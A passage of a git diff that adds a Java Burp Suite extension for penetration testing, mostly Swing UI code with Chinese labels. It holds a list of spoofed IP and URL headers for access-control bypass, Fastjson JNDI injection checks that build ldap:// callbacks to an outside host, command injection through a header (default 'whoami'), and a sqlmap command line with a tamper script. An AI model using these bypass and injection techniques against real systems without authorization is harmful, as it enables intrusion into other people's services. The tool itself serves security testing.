127.0.0.1","Forwarded-Host: 127.0.0.1","Forwarded: 127.0.0.1", + "Http-Url: " + url,"Origin: 127.0.0.1","Profile: 127.0.0.1","Proxy-Host: 127.0.0.1", + "Proxy-Url: " + url,"Proxy: 127.0.0.1","Real-Ip: 127.0.0.1","Redirect: 127.0.0.1","Referer: " + url, + "Request-Uri: 127.0.0.1","True-Client-IP: 127.0.0.1", + "Uri: "+ url,"Url: " + url,"X-Arbitrary: 127.0.0.1","X-Client-IP: 127.0.0.1", + "X-Custom-IP-Authorization: 127.0.0.1","X-Forward-For: 127.0.0.1", + "X-Forward: 127.0.0.1","X-Forwarded-By: 127.0.0.1", + "X-Forwarded-For-Original: 127.0.0.1","X-Forwarded-For: 127.0.0.1", + "X-Forwarded-Host: 127.0.0.1","X-Forwarded-Proto: 127.0.0.1", + "X-Forwarded-Server: 127.0.0.1","X-Forwarded: 127.0.0.1", + "X-Forwarder-For: 127.0.0.1","X-Host: 127.0.0.1", + "X-HTTP-DestinationURL: " + url,"X-HTTP-Host-Override: 127.0.0.1", + "X-Original-Remote-Addr: 127.0.0.1","X-Original-URL: " + url,"X-Originally-Forwarded-For: 127.0.0.1", + "X-Originating-IP: 127.0.0.1","X-Proxy-Url: " + url,"X-ProxyUser-Ip: 127.0.0.1","X-Real-IP: 127.0.0.1", + "X-Real-Ip: 127.0.0.1","X-Referrer: 127.0.0.1","X-Remote-Addr: 127.0.0.1","X-Remote-IP: 127.0.0.1", + "X-Rewrite-URL: " + url,"X-True-IP: 127.0.0.1","X-WAP-Profile: 127.0.0.1"); + + for (String payload : payloads) { + if ("GET".equals(method)) { + authRequests.add(new Auth("GET","",payload)); + }else if ("POST".equals(method)){ + authRequests.add(new Auth("POST","",payload)); + } + } + return authRequests; + } + + private void add(String method, String url, String statuscode, String length, IHttpRequestResponse baseRequestResponse) { + synchronized (log){ + int id = log.size(); + log.add(new LogEntry(id, method, url, statuscode, length, baseRequestResponse)); + fireTableRowsInserted(id, id); + fireTableDataChanged(); + } + } + + + @Override + public String getTabName() { + return "Authcheck"; + } + + @Override + public IHttpService getHttpService() { + return currentlyDisplayedItem.getHttpService(); + } + + @Override + public byte[] getRequest() { + return currentlyDisplayedItem.getRequest(); + } + + @Override + public byte[] getResponse() { + return currentlyDisplayedItem.getResponse(); + } + + @Override + public int getRowCount() { + return log.size(); + } + + @Override + public int getColumnCount() { + return 5; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + switch (columnIndex){ + case 0:return log.get(rowIndex).id; + case 1:return log.get(rowIndex).method; + case 2:return log.get(rowIndex).url; + case 3:return log.get(rowIndex).status; + case 4:return log.get(rowIndex).length; + default:return null; + } + } + + @Override + public String getColumnName(int column) { + switch (column){ + case 0:return "id"; + case 1:return "method"; + case 2:return "url"; + case 3:return "status"; + case 4:return "length"; + default:return null; + } + } + + private class URLTable extends JTable{ + public URLTable(TableModel dm) { + super(dm); + } + + @Override + public void changeSelection(int row, int col, boolean toggle, boolean extend) { + AuthUI.LogEntry logEntry = log.get(row); + HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true); + if (logEntry.requestResponse.getResponse() == null) { + HResponseTextEditor.setMessage(new byte[0], false); + } else { + HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false); + } + currentlyDisplayedItem = logEntry.requestResponse; + super.changeSelection(row, col, toggle, extend); + } + } + + + private static class LogEntry { + private int id; + private String method; + private String url; + private String status; + private String length; + private IHttpRequestResponse requestResponse; + + public LogEntry() { + } + + public LogEntry(int id, String method, String url, String status, String length, IHttpRequestResponse requestResponse) { + this.id = id; + this.method = method; + this.url = url; + this.status = status; + this.length = length; + this.requestResponse = requestResponse; + } + } +} diff --git a/src/main/java/burp/ui/ConfigUI.java b/src/main/java/burp/ui/ConfigUI.java new file mode 100644 index 0000000..647aa97 --- /dev/null +++ b/src/main/java/burp/ui/ConfigUI.java @@ -0,0 +1,300 @@ +package burp.ui; + + + +import burp.IBurpExtenderCallbacks; +import burp.bean.Config; + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.awt.event.MouseAdapter; +import java.awt.event.MouseEvent; +import java.util.ArrayList; +import java.util.List; + +import static burp.dao.ConfigDAO.*; +import static burp.dao.ConfigDAO.updateConfigSetting; + + +public class ConfigUI extends JPanel implements UIHandler{ + private static final List data = new ArrayList<>(); + public AbstractTableModel dataModel = new ConfigUI.MyModel(); + private JPanel panel1; + private JLabel label2; + private JTextField textField3; + private JLabel label3; + private JTextField textField4; + private JLabel label4; + private JTextField textField5; + private JLabel label5; + private JTextField textField6; + private JPanel panel2; + private JSplitPane splitPane1; + private JPanel panel6; + private JButton refershButton; + private JButton saveDnsButton; + private JButton saveIpButton; + private JButton saveToolButton; + private JButton deleteSelectButton; + private JScrollPane scrollPane2; + private JTable table1; + + @Override + public void init() { + + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + JPanel panel = new JPanel(); + +// JFormDesigner - Component initialization - DO NOT MODIFY + panel1 = new JPanel(); + label2 = new JLabel(); + textField3 = new JTextField(); + label3 = new JLabel(); + textField4 = new JTextField(); + label4 = new JLabel(); + textField5 = new JTextField(); + label5 = new JLabel(); + textField6 = new JTextField(); + panel2 = new JPanel(); + splitPane1 = new JSplitPane(); + panel6 = new JPanel(); + refershButton = new JButton(); + saveDnsButton = new JButton(); + saveIpButton = new JButton(); + saveToolButton = new JButton(); + deleteSelectButton = new JButton(); + table1 = new JTable(dataModel); + scrollPane2 = new JScrollPane(table1); + +//======== this ======== + setLayout(new BorderLayout()); + +//======== splitPane ======== + JSplitPane splitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); + splitPane.setDividerLocation(150); // Set the initial divider location + +//======== panel1 ======== + panel1.setLayout(new GridLayout(0, 2, 5, 5)); // Single column layout with gaps + +//---- label2 ---- + label2.setText("dnslog"); + panel1.add(label2); + +//---- textField3 ---- + textField3.setText("www.dnslog.cn"); + panel1.add(textField3); + +//---- label3 ---- + label3.setText("ip"); + panel1.add(label3); + +//---- textField4 ---- + textField4.setText("127.0.0.1"); + panel1.add(textField4); + +//---- label4 ---- + label4.setText("工具配置"); + panel1.add(label4); + +//---- textField5 ---- + textField5.setText("sqlmap"); + panel1.add(textField5); + +//---- label5 ---- + label5.setText("工具参数"); + panel1.add(label5); + +//---- textField6 ---- + textField6.setText("c:\\sqlmap\\sqlmap.py -r 1.txt --batch --tamper=space2comment"); + panel1.add(textField6); + + splitPane.setTopComponent(panel1); + +//======== panel2 ======== + panel2.setLayout(new BorderLayout()); + +//======== splitPane1 ======== + splitPane1.setOrientation(JSplitPane.VERTICAL_SPLIT); + +//======== panel6 ======== + panel6.setLayout(new BoxLayout(panel6, BoxLayout.X_AXIS)); + +//---- refershButton ---- + refershButton.setText("刷新数据"); + panel6.add(refershButton); + +//---- saveDnsButton ---- + saveDnsButton.setText("保存dns"); + panel6.add(saveDnsButton); + +//---- saveIpButton ---- + saveIpButton.setText("保存ip"); + panel6.add(saveIpButton); + +//---- saveToolButton ---- + saveToolButton.setText("保存工具配置"); + panel6.add(saveToolButton); + +//---- deleteSelectButton ---- + deleteSelectButton.setText("删除选中"); + panel6.add(deleteSelectButton); + + splitPane1.setTopComponent(panel6); + +//======== scrollPane2 ======== + scrollPane2.setViewportView(table1); + splitPane1.setBottomComponent(scrollPane2); + + panel2.add(splitPane1, BorderLayout.CENTER); + splitPane.setBottomComponent(panel2); + + add(splitPane, BorderLayout.CENTER); + panel.add(splitPane); + + Config dnsSetting = getValueByModuleAndType("config", "dnslog"); + textField3.setText(dnsSetting.getValue()); + + Config ipsetting = getValueByModuleAndType("config", "ip"); + textField4.setText(ipsetting.getValue()); + + List toolParam = getToolConfig(); + for (Config config : toolParam) { + addData(config.getType(), config.getValue()); + } + refershButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + List toolParam = getToolConfig(); + data.clear(); + for (Config config : toolParam) { + addData(config.getType(), config.getValue()); + } + dataModel.fireTableDataChanged(); + } + }); + saveDnsButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String module = "config"; + String dns = textField3.getText(); + Config config = new Config(module,"dnslog", dns); + updateConfigSetting(config); + } + }); + + saveIpButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String module = "config"; + String ip = textField4.getText(); + Config config = new Config(module,"ip", ip); + updateConfigSetting(config); + } + }); + saveToolButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String module = "tool"; + String tool = textField5.getText(); + String param = textField6.getText(); + Config config = new Config(module,tool, param); + saveConfigSetting(config); + } + }); + deleteSelectButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + int[] selectedRows = table1.getSelectedRows(); + for (int i = selectedRows.length - 1; i >= 0; i--) { + int selectedRow = selectedRows[i]; + String type = (String) table1.getValueAt(selectedRow, 1); + Config config = new Config(type, ""); + deleteConfig(config); + data.remove(selectedRow); + dataModel.fireTableRowsDeleted(selectedRow, selectedRow); + dataModel.fireTableDataChanged(); + } + } + }); + return panel; + + + } + + public void addData(String key, String value) { + synchronized (data) { + data.add(new DataEntry(data.size() + 1, key, value)); + dataModel.fireTableDataChanged(); + dataModel.fireTableRowsInserted(data.size() - 1, data.size() - 1); + } + } + + @Override + public String getTabName() { + return "config"; + } + + class MyModel extends AbstractTableModel { + + @Override + public int getRowCount() { + return data.size(); + } + + @Override + public int getColumnCount() { + return 3; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + DataEntry dataEntry = data.get(rowIndex); + switch (columnIndex){ + case 0: + return dataEntry.id; + case 1: + return dataEntry.key; + case 2: + return dataEntry.value; + default: + return null; + } + } + + @Override + public String getColumnName(int column) { + switch (column){ + case 0: + return "id"; + case 1: + return "key"; + case 2: + return "value"; + default: + return null; + } + } + } + + public class DataEntry{ + private int id; + private String key; + private String value; + + public DataEntry(int id, String key, String value) { + this.id = id; + this.key = key; + this.value = value; + } + + public DataEntry(String key, String value) { + this.key = key; + this.value = value; + } + } +} diff --git a/src/main/java/burp/ui/FastJsonUI.java b/src/main/java/burp/ui/FastJsonUI.java new file mode 100644 index 0000000..c0ae176 --- /dev/null +++ b/src/main/java/burp/ui/FastJsonUI.java @@ -0,0 +1,395 @@ +package burp.ui; + +import burp.*; +import burp.bean.Config; +import burp.bean.Fastjson; +import burp.utils.Utils; + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import javax.swing.table.TableModel; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Objects; + +import static burp.dao.ConfigDAO.getValueByModuleAndType; +import static burp.dao.FastjsonDAO.*; +import static burp.utils.Utils.*; + + +public class FastJsonUI extends AbstractTableModel implements UIHandler, IMessageEditorController { + public IBurpExtenderCallbacks callbacks; + public IExtensionHelpers helpers; + private static final List log = new ArrayList<>(); + private IHttpRequestResponse currentlyDisplayedItem; + private IMessageEditor HRequestTextEditor; + private IMessageEditor HResponseTextEditor; + + @Override + public void init() { + + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + this.callbacks = callbacks; + this.helpers = callbacks.getHelpers(); + JPanel jp=new JPanel(new BorderLayout()); + JSplitPane mSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); // 主分隔面板 + + JTable urlTable = new URLTable(FastJsonUI.this); + JScrollPane jScrollPane = new JScrollPane(urlTable); // 滚动条 + + JSplitPane xjSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); // 请求与响应界面的分隔面板 + + JTabbedPane ltable = new JTabbedPane(); + HRequestTextEditor = callbacks.createMessageEditor(FastJsonUI.this, true); + ltable.addTab("Request", HRequestTextEditor.getComponent()); + JTabbedPane rtable = new JTabbedPane(); + HResponseTextEditor = callbacks.createMessageEditor(FastJsonUI.this, false); + rtable.addTab("Response", HResponseTextEditor.getComponent()); + xjSplitPane.setLeftComponent(ltable); + xjSplitPane.setRightComponent(rtable); + xjSplitPane.setResizeWeight(0.5); // 设置调整权重为 0.5,使两个面板的宽度一样 + + jp.add(xjSplitPane); + + JButton refershbutton = new JButton("刷新"); + refershbutton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + fireTableDataChanged(); + } + }); + JButton deletebutton = new JButton("删除选中"); + deletebutton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + HResponseTextEditor.setMessage(new byte[0], true); + HRequestTextEditor.setMessage(new byte[0], true); + int[] rows = urlTable.getSelectedRows(); + for (int i = rows.length - 1; i >= 0; i--) { + int row = urlTable.convertRowIndexToModel(rows[i]); + log.remove(row); + fireTableRowsDeleted(row, row); + fireTableDataChanged(); + } + } + }); + JButton deleteAllbutton = new JButton("删除全部"); + deleteAllbutton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + HResponseTextEditor.setMessage(new byte[0], true); + HRequestTextEditor.setMessage(new byte[0], true); + log.clear(); + fireTableDataChanged(); + } + }); + + mSplitPane.add(jScrollPane, "left"); + mSplitPane.add(xjSplitPane, "right"); + + JSplitPane buttonSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); + JPanel buttonPanel = new JPanel(new GridLayout(1, 3)); + buttonPanel.add(refershbutton); + buttonPanel.add(deletebutton); + buttonPanel.add(deleteAllbutton); + buttonSplitPane.setTopComponent(buttonPanel); + jp.add(buttonSplitPane, BorderLayout.NORTH); + + + jp.add(mSplitPane); + return jp; + + } + + + public void CheckDnslog(IHttpRequestResponse[] responses){ + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String extensionMethod = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + String res = "dnslog检测"; + try { + List payloads = getFastjsonListByDnsLog(); + if (payloads.size() == 0){ + JOptionPane.showMessageDialog(null, "请先添加dnslog payload", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + Config dnslogKey = getValueByModuleAndType("config", "dnslog"); + String dnslog = dnslogKey.getValue(); + if (dnslog.equals("")){ + JOptionPane.showMessageDialog(null, "请先设置dnslog 地址", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + IHttpService iHttpService = baseRequestResponse.getHttpService(); + Iterator iterator = payloads.iterator(); + while (iterator.hasNext()){ + Fastjson fastjson = iterator.next(); + String fastjsonDnslog = fastjson.getUrl(); + String fuzzPayload = fastjsonDnslog.replace("FUZZ", dnslog); + byte[] bytePayload = Utils.helpers.stringToBytes(fuzzPayload); + byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post + IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); + IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); + String statusCode = String.valueOf(iResponseInfo.getStatusCode()); + add(extensionMethod,url,statusCode,res,resp); + } + } catch (SQLException e) { + throw new RuntimeException(e); + } + + } + + public void CheckEchoVul(IHttpRequestResponse[] responses){ + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String extensionMethod = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + try { + List payloads = getFastjsonListByEchoVul(); + if (payloads.size() == 0){ + JOptionPane.showMessageDialog(null, "请先添加echo payload", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + // 弹出一个输入框,用于获取用户输入的dnslog地址 + String defaultValue = "whoami"; + String echoVul = (String) JOptionPane.showInputDialog(null, "请输入echo 命令", "提示", JOptionPane.PLAIN_MESSAGE, null, null, defaultValue); + IHttpService iHttpService = baseRequestResponse.getHttpService(); + Iterator iterator = payloads.iterator(); + headers.add("Accept-Cache: " + echoVul); + while (iterator.hasNext()){ + Fastjson fastjson = iterator.next(); + String fastjsonEcho = fastjson.getUrl(); + byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonEcho); + byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post + IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); + IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); + String statusCode = String.valueOf(iResponseInfo.getStatusCode()); + List headersResp = iResponseInfo.getHeaders(); + boolean containsContentAuth = false; + for (String header : headersResp) { + if (header.contains("Content-auth")) { + containsContentAuth = true; + break; + } + } + if (containsContentAuth) { + add(extensionMethod,url,statusCode,"echo命令检测成功",resp); + } else { + add(extensionMethod,url,statusCode,"echo命令检测失败",resp); + } + } + } catch (SQLException e) { + throw new RuntimeException(e); + } + } + + public void CheckJNDIVul(IHttpRequestResponse[] responses){ + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String extensionMethod = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + try { + List payloads = getFastjsonListByJNDI(); + if (payloads.size() == 0){ + JOptionPane.showMessageDialog(null, "请先添加jndi payload", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + String jndiStr = ""; + String defaultValue = "IP"; // 设置默认值 + String[] options = { "DNS", "IP" }; // 单选框选项 + String selectedValue = (String) JOptionPane.showInputDialog(null, "请选择类型", "提示", + JOptionPane.PLAIN_MESSAGE, null, options, defaultValue); + if (Objects.equals(selectedValue, "DNS")){ + Config config = getValueByModuleAndType("config", "dnslog"); + String dnslog = config.getValue(); + if (!dnslog.equals("")){ + jndiStr = dnslog; + }else { + JOptionPane.showMessageDialog(null, "请先在Config面板设置dnslog 地址", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + }else if (Objects.equals(selectedValue, "IP")){ + Config config = getValueByModuleAndType("config", "ip"); + String ip = config.getValue(); + if (!ip.equals("")) { + jndiStr = ip; + }else { + JOptionPane.showMessageDialog(null, "请先在Config面板设置IP地址", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + } + + IHttpService iHttpService = baseRequestResponse.getHttpService(); + Iterator iterator = payloads.iterator(); + while (iterator.hasNext()){ + String dnslogKey = ""; + + Fastjson fastjson = iterator.next(); + String fastjsonJNDI = fastjson.getUrl(); + String id = String.valueOf(fastjson.getId()); + if (selectedValue.equals("DNS")){ + dnslogKey = "ldap://"+id+"."+jndiStr; + }else { + dnslogKey = "ldap://"+jndiStr+"/"+id; + } + String fuzzPayload = fastjsonJNDI.replace("FUZZ", dnslogKey); + byte[] bytePayload = Utils.helpers.stringToBytes(fuzzPayload); + byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post + IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); + IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); + String statusCode = String.valueOf(iResponseInfo.getStatusCode()); + add(extensionMethod,url,statusCode,"jndi检测完成,请查看dnslog服务器",resp); + } + } catch (SQLException e) { + throw new RuntimeException(e); + } + } + + + public int add(String extensionMethod, String url, String status, String res, IHttpRequestResponse baseRequestResponse) { + synchronized (log){ + int id = log.size(); + log.add( + new LogEntry( + id, + extensionMethod, + url, + status, + res, + baseRequestResponse + ) + ); + fireTableRowsInserted(id,id); + fireTableDataChanged(); + return id; + } + } + + @Override + public int getRowCount() { + return log.size(); + } + + @Override + public int getColumnCount() { + return 5; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + LogEntry logEntry = log.get(rowIndex); + switch (columnIndex){ + case 0: + return logEntry.id; + case 1: + return logEntry.extensionMethod; + case 2: + return logEntry.url; + case 3: + return logEntry.status; + case 4: + return logEntry.res; + default: + return ""; + } + } + + @Override + public String getColumnName(int column) { + switch (column){ + case 0: + return "id"; + case 1: + return "method"; + case 2: + return "url"; + case 3: + return "status"; + case 4: + return "res"; + default: + return ""; + } + + } + @Override + public Class getColumnClass(int columnIndex) { + return String.class; + } + + @Override + public String getTabName() { + return "fastjson"; + } + + @Override + public IHttpService getHttpService() { + return currentlyDisplayedItem.getHttpService(); + } + + @Override + public byte[] getRequest() { + return currentlyDisplayedItem.getRequest(); + } + + @Override + public byte[] getResponse() { + return currentlyDisplayedItem.getResponse(); + } + + + + + + + + private static class LogEntry + { + final int id; + final String extensionMethod; + final String url; + final String status; + final String res; + + final IHttpRequestResponse requestResponse; + + + private LogEntry(int id, String extensionMethod, String url, String status, String res, IHttpRequestResponse requestResponse) { + this.id = id; + this.extensionMethod = extensionMethod; + this.url = url; + this.status = status; + this.res = res; + this.requestResponse = requestResponse; + } + } + private class URLTable extends JTable { + public URLTable(TableModel tableModel) { + super(tableModel); + } + + @Override + public void changeSelection(int row, int col, boolean toggle, boolean extend) { + LogEntry logEntry = log.get(row); + HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true); + if (logEntry.requestResponse.getResponse() == null) { + HResponseTextEditor.setMessage(new byte[0], false); + } else { + HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false); + } + currentlyDisplayedItem = logEntry.requestResponse; + super.changeSelection(row, col, toggle, extend); + } + } +} + diff --git a/src/main/java/burp/ui/MainUI.java b/src/main/java/burp/ui/MainUI.java new file mode 100644 index 0000000..6261fab --- /dev/null +++ b/src/main/java/burp/ui/MainUI.java @@ -0,0 +1,54 @@ +package burp.ui; + +import burp.IBurpExtenderCallbacks; +import burp.ITab; +import burp.utils.Utils; +import javax.swing.*; +import java.awt.*; +import java.util.ArrayList; +import java.util.List; + +public class MainUI extends JPanel implements ITab { + private static JTabbedPane mainPanel; + public MainUI(IBurpExtenderCallbacks callbacks) { + try { + InitUi(callbacks); + }catch (Exception e){ + e.printStackTrace(); + } + } + public List init(){ + List UiList = new ArrayList(); + + UiList.add("burp.ui.FastJsonUI"); + UiList.add("burp.ui.AuthUI"); + UiList.add("burp.ui.PermUI"); + UiList.add("burp.ui.SqlUI"); + UiList.add("burp.ui.ConfigUI"); + return UiList; + } + + private void InitUi(IBurpExtenderCallbacks callbacks) { + mainPanel = new JTabbedPane(); + for (int i = 0; i < init().size(); i++) { + try { + Class clazz = Class.forName(init().get(i)); + UIHandler ui = (UIHandler) clazz.newInstance(); + mainPanel.addTab(ui.getTabName(), ui.getPanel(callbacks)); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + + @Override + public String getTabCaption() { + return Utils.name; + } + + @Override + public Component getUiComponent() { + return mainPanel; + } +} diff --git a/src/main/java/burp/ui/PermUI.java b/src/main/java/burp/ui/PermUI.java new file mode 100644 index 0000000..ddd3af0 --- /dev/null +++ b/src/main/java/burp/ui/PermUI.java @@ -0,0 +1,525 @@ +package burp.ui; + +import burp.*; +import burp.bean.Perm; +import burp.utils.Utils; +import com.sun.org.apache.bcel.internal.generic.IF_ACMPEQ; + + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import javax.swing.table.TableModel; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.awt.event.ItemEvent; +import java.awt.event.ItemListener; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Iterator; +import java.util.List; + +import static burp.dao.PermDAO.*; +import static burp.utils.Utils.getSuffix; + +public class PermUI extends AbstractTableModel implements UIHandler, IMessageEditorController, IHttpListener { + public IBurpExtenderCallbacks callbacks; + public IExtensionHelpers helpers; + private static final List log = new ArrayList<>(); + private IHttpRequestResponse currentlyDisplayedItem; + private IMessageEditor originarequest; + private IMessageEditor originaresponse; + private IMessageEditor lowerrequest; + private IMessageEditor lowerresponse; + private IMessageEditor norequest; + private IMessageEditor noresponse; + private boolean scanProxy = false; + + @Override + public IHttpService getHttpService() { + return null; + } + + @Override + public byte[] getRequest() { + return new byte[0]; + } + + @Override + public byte[] getResponse() { + return new byte[0]; + } + + @Override + public void init() { + + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + callbacks.registerHttpListener(this); // 注册被动扫描监听器 + Utils.callbacks = callbacks; + JPanel jp = new JPanel(new BorderLayout()); + JSplitPane SplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); // 主分隔面板 + SplitPane.setResizeWeight(0.8); + JSplitPane mSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); // 主分隔面板 + + JTable urlTable = new PermUI.URLTable(PermUI.this); + JScrollPane jScrollPane = new JScrollPane(urlTable); // 滚动条 + + JSplitPane xjSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); // 请求与响应界面的分隔面板 + + JTabbedPane ltable = new JTabbedPane(); + originarequest = callbacks.createMessageEditor(PermUI.this, false); + originaresponse = callbacks.createMessageEditor(PermUI.this, false); + lowerrequest = callbacks.createMessageEditor(PermUI.this, false); + lowerresponse = callbacks.createMessageEditor(PermUI.this, false); + norequest = callbacks.createMessageEditor(PermUI.this, false); + noresponse = callbacks.createMessageEditor(PermUI.this, false); + + JSplitPane originalSplitPane = new JSplitPane(1); + originalSplitPane.setLeftComponent(originarequest.getComponent()); + originalSplitPane.setRightComponent(originaresponse.getComponent()); + originalSplitPane.setResizeWeight(0.5D); + ltable.addTab("原始数据包", originalSplitPane); + + JSplitPane lowerSplitPane = new JSplitPane(1); + lowerSplitPane.setLeftComponent(lowerrequest.getComponent()); + lowerSplitPane.setRightComponent(lowerresponse.getComponent()); + lowerSplitPane.setResizeWeight(0.5D); + ltable.addTab("低权限数据包", lowerSplitPane); + + JSplitPane noSplitPane = new JSplitPane(1); + noSplitPane.setLeftComponent(norequest.getComponent()); + noSplitPane.setRightComponent(noresponse.getComponent()); + noSplitPane.setResizeWeight(0.5D); + ltable.addTab("未授权数据包", noSplitPane); + + xjSplitPane.setLeftComponent(ltable); + + mSplitPane.add(jScrollPane, "left"); + mSplitPane.add(xjSplitPane, "right"); + + + JPanel jPanel = new JPanel(); + jPanel.setLayout(new BoxLayout(jPanel, BoxLayout.Y_AXIS)); + + JPanel row1Panel = new JPanel(new FlowLayout(FlowLayout.LEFT)); + JRadioButton startplugin = new JRadioButton("启用插件"); + row1Panel.add(startplugin); + JButton saveButton = new JButton("保存数据"); + row1Panel.add(saveButton); + JButton deleteButton = new JButton("删除历史数据"); + row1Panel.add(deleteButton); + jPanel.add(row1Panel); + + + JPanel row2Panel = new JPanel(new FlowLayout(FlowLayout.LEFT)); + JButton refershButton = new JButton("刷新表格数据"); + row2Panel.add(refershButton); + JButton delselectButton = new JButton("删除表格选中"); + row2Panel.add(delselectButton); + JButton delallButton = new JButton("删除表格全部"); + row2Panel.add(delallButton); + jPanel.add(row2Panel); + + JLabel whiteDomainText = new JLabel("白名单域名"); + jPanel.add(whiteDomainText); + Perm perm = getPerm(); + JTextArea whiteDomain = new JTextArea(); + whiteDomain.setFont(whiteDomain.getFont().deriveFont(Font.PLAIN, 12)); // 调整字体大小 + whiteDomain.setText(perm.getDomain()); + whiteDomain.setRows(1); // 设置行数 + whiteDomain.setColumns(20); // 设置列数 + JScrollPane whiteDomainScrollPane = new JScrollPane(whiteDomain); + jPanel.add(whiteDomainScrollPane); + + JLabel lowAuthText = new JLabel("低权限认证关键字,区分大小写"); + jPanel.add(lowAuthText); + + JTextArea lowAuth = new JTextArea(); + lowAuth.setText(perm.getLow().replaceAll("\\|", "\n")); + lowAuth.setFont(lowAuth.getFont().deriveFont(Font.PLAIN, 12)); // 调整字体大小 + lowAuth.setRows(5); // 设置行数 + lowAuth.setColumns(20); // 设置列数 + JScrollPane lowAuthScrollPane = new JScrollPane(lowAuth); + jPanel.add(lowAuthScrollPane); + + JLabel noAuthText = new JLabel("未授权认证关键字,区分大小写"); + jPanel.add(noAuthText); + + JTextArea noAuth = new JTextArea(); + noAuth.setText(perm.getNo().replaceAll("\\|", "\n")); + noAuth.setFont(noAuth.getFont().deriveFont(Font.PLAIN, 12)); // 调整字体大小 + noAuth.setRows(5); // 设置行数 + noAuth.setColumns(20); // 设置列数 + JScrollPane noAuthScrollPane = new JScrollPane(noAuth); + jPanel.add(noAuthScrollPane); + + refershButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + fireTableDataChanged(); + } + }); + delselectButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + originarequest.setMessage(new byte[0], false); + originaresponse.setMessage(new byte[0], false); + lowerrequest.setMessage(new byte[0], false); + lowerresponse.setMessage(new byte[0], false); + norequest.setMessage(new byte[0], false); + noresponse.setMessage(new byte[0], false); + int[] rows = urlTable.getSelectedRows(); + for (int i = rows.length - 1; i >= 0; i--) { + int row = urlTable.convertRowIndexToModel(rows[i]); + log.remove(row); + fireTableRowsDeleted(row, row); + fireTableDataChanged(); + } + } + }); + delallButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + originarequest.setMessage(new byte[0], false); + originaresponse.setMessage(new byte[0], false); + lowerrequest.setMessage(new byte[0], false); + lowerresponse.setMessage(new byte[0], false); + norequest.setMessage(new byte[0], false); + noresponse.setMessage(new byte[0], false); + log.clear(); + fireTableDataChanged(); + } + }); + + saveButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String domainText = whiteDomain.getText(); + String lowAuthText = lowAuth.getText(); + String noAuthText = noAuth.getText(); + if (domainText.equals("白名单域名 eg:www.baidu.com,不填则不运行插件")){ + JOptionPane.showMessageDialog(null, "请填写白名单域名", "提示", 